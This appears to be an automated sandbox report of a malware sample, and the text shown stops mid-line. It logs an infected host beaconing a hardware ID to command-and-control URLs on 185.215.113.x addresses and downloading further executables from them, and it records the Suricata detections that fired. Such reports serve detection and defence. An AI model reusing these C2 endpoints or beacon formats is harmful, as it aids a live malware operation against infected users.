Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 31 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003156001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 31 35 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003157001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAEBFIJKEBGHIDHIEGIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 35 35 46 34 36 30 35 42 42 45 36 34 31 32 30 30 32 31 34 35 34 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 2d 2d 0d 0a Data Ascii: ------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="hwid"755F4605BBE64120021454------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="build"tale------FCAEBFIJKEBGHIDHIEGI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 31 35 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003158001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 31 35 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003159001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCGDBGCAAEBFIECGHDGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 35 35 46 34 36 30 35 42 42 45 36 34 31 32 30 30 32 31 34 35 34 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 2d 2d 0d 0a Data Ascii: ------DGCGDBGCAAEBFIECGHDGContent-Disposition: form-data; name="hwid"755F4605BBE64120021454------DGCGDBGCAAEBFIECGHDGContent-Disposition: form-data; name="build"tale------DGCGDBGCAAEBFIECGHDG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 34.117.188.166 34.117.188.166

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49700 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49702 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49699 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49710 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49729 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49719 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49741 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49765 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49772 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49982 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49981 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49984 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49983 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49988 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49987 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49989 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49992 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49991 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49991 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49979 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50000 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50004 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:50007 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50012 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50019 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50026 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50028 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50031 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50030 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50032 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50033 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.7:49746

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 16_2_00F5BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

16_2_00F5BE30

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: firefox.exe, 00000022.00000002.2727624317.000001F366F7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: )) OVER (PARTITION BY fixup_url(host)) > 0UpdateService:selectUpdate - skipping update because the update's application version is not greater than the current application versionhttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: )) OVER (PARTITION BY fixup_url(host)) > 0UpdateService:selectUpdate - skipping update because the update's application version is not greater than the current application versionhttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://auth.9c9media.ca/auth/main.js://ssl.google-analytics.com/ga.js://s0.2mdn.net/instream/html5/ima3.js://connect.facebook.net//all.js://www.google-analytics.com/analytics.js://connect.facebook.net//sdk.js* equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://id.rambler.ru/rambler-id-helper/auth_events.js://www.gstatic.com/firebasejs//firebase-messaging.js://pagead2.googlesyndication.com/pagead/.js*fcd=trueresource://gre/modules/MessageManagerProxy.sys.mjs equals www.rambler.ru (Rambler)
Source: firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://track.adform.net/Serving/TrackPoint/://cdn.cmp.advertising.com/firefox-etp://www.facebook.com/platform/impression.php--panel-banner-item-update-supported-bgcolorhttps://ads.stickyadstv.com/firefox-etp://pixel.advertising.com/firefox-etp--panel-banner-item-info-icon-bgcolor://securepubads.g.doubleclick.net/gampad/ad*://.adsafeprotected.com//imp/://.adsafeprotected.com/jload?amazondotcom%40search.mozilla.org:1.6firefox-compact-light@mozilla.orgresource://search-extensions/amazondotcom/firefox-compact-light%40mozilla.org:1.2firefox-compact-dark%40mozilla.org:1.2resource://search-extensions/wikipedia/firefox-alpenglow%40mozilla.org:1.4resource://builtin-addons/search-detection/resource://search-extensions/google/resource://gre/modules/TelemetryUtils.sys.mjsresource://gre/modules/AddonManager.sys.mjsresource://gre/modules/TelemetryStorage.sys.mjsTelemetrySession::onEnvironmentChangeresource://search-extensions/ddg/resource://builtin-themes/alpenglow/wikipedia%40search.mozilla.org:1.3resource://search-extensions/bing/https://en.wikipedia.org/wiki/Special:Searchaddons-search-detection%40mozilla.com:2.0.0addons-search-detection@mozilla.com8# equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2905653405.000001F36B28C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2896497516.000001F36AA74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2449943656.000001F36C2C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2901748859.000001F36AE03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2896497516.000001F36AA74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2449943656.000001F36C2C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2905653405.000001F36B204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000022.00000002.2910420277.000001F36BA3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2910420277.000001F36BA4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B90E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B90B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", 